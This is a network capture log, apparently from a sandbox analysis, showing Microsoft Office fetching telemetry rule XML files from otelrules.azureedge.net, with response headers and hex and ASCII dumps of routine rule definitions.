2024-11-24 03:22:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:53 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032253Z-174c587ffdf8fcgwhC1TEBnn7000000003y000000000n1fy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:53 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:52 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:53 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 00c17fdd-701e-000d-2f70-3c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032253Z-174c587ffdfmrvb9hC1TEBtn3800000003vg00000000bv6r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:53 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:53 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:53 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 964846c7-701e-001e-36c3-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032253Z-174c587ffdfdwxdvhC1TEB1c4n00000003vg000000003z51 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:53 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:53 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:53 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 6ca31832-b01e-0021-3a64-3dcab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032253Z-15b8b599d88g5tp8hC1TEByx6w00000003w0000000006qs2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:53 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:53 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:53 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 1e58b78d-401e-0029-678d-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032253Z-174c587ffdfl22mzhC1TEBk40c000000040g00000000av60 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:53 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:55 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:55 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: df4f394c-601e-0002-2a39-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032255Z-178bfbc474bfw4gbhC1NYCunf400000005e0000000006m0r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:55 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:55 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:55 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 28a3992e-001e-0028-777f-3bc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032255Z-174c587ffdfldtt2hC1TEBwv9c00000003qg00000000ahxk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:55 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:55 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:55 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032255Z-174c587ffdf6b487hC1TEBydsn00000003q000000000qd0y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:55 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:55 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:55 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:55 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: fa8f60f6-901e-0083-3159-3cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032255Z-15b8b599d882hxlwhC1TEBfa5w00000003t00000000080xb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:55 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:55 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:55 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:55 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 8b201486-c01e-008d-1417-3e2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032255Z-178bfbc474btvfdfhC1NYCa2en00000005e000000000b348 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 03:22:55 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:57 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:57 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 1a818a33-b01e-005c-4475-3b4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032257Z-174c587ffdfcj798hC1TEB9bq400000003zg00000000fzm5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:57 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:57 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:57 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032257Z-178bfbc474bv7whqhC1NYC1fg400000005f0000000003f6w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:57 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:57 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
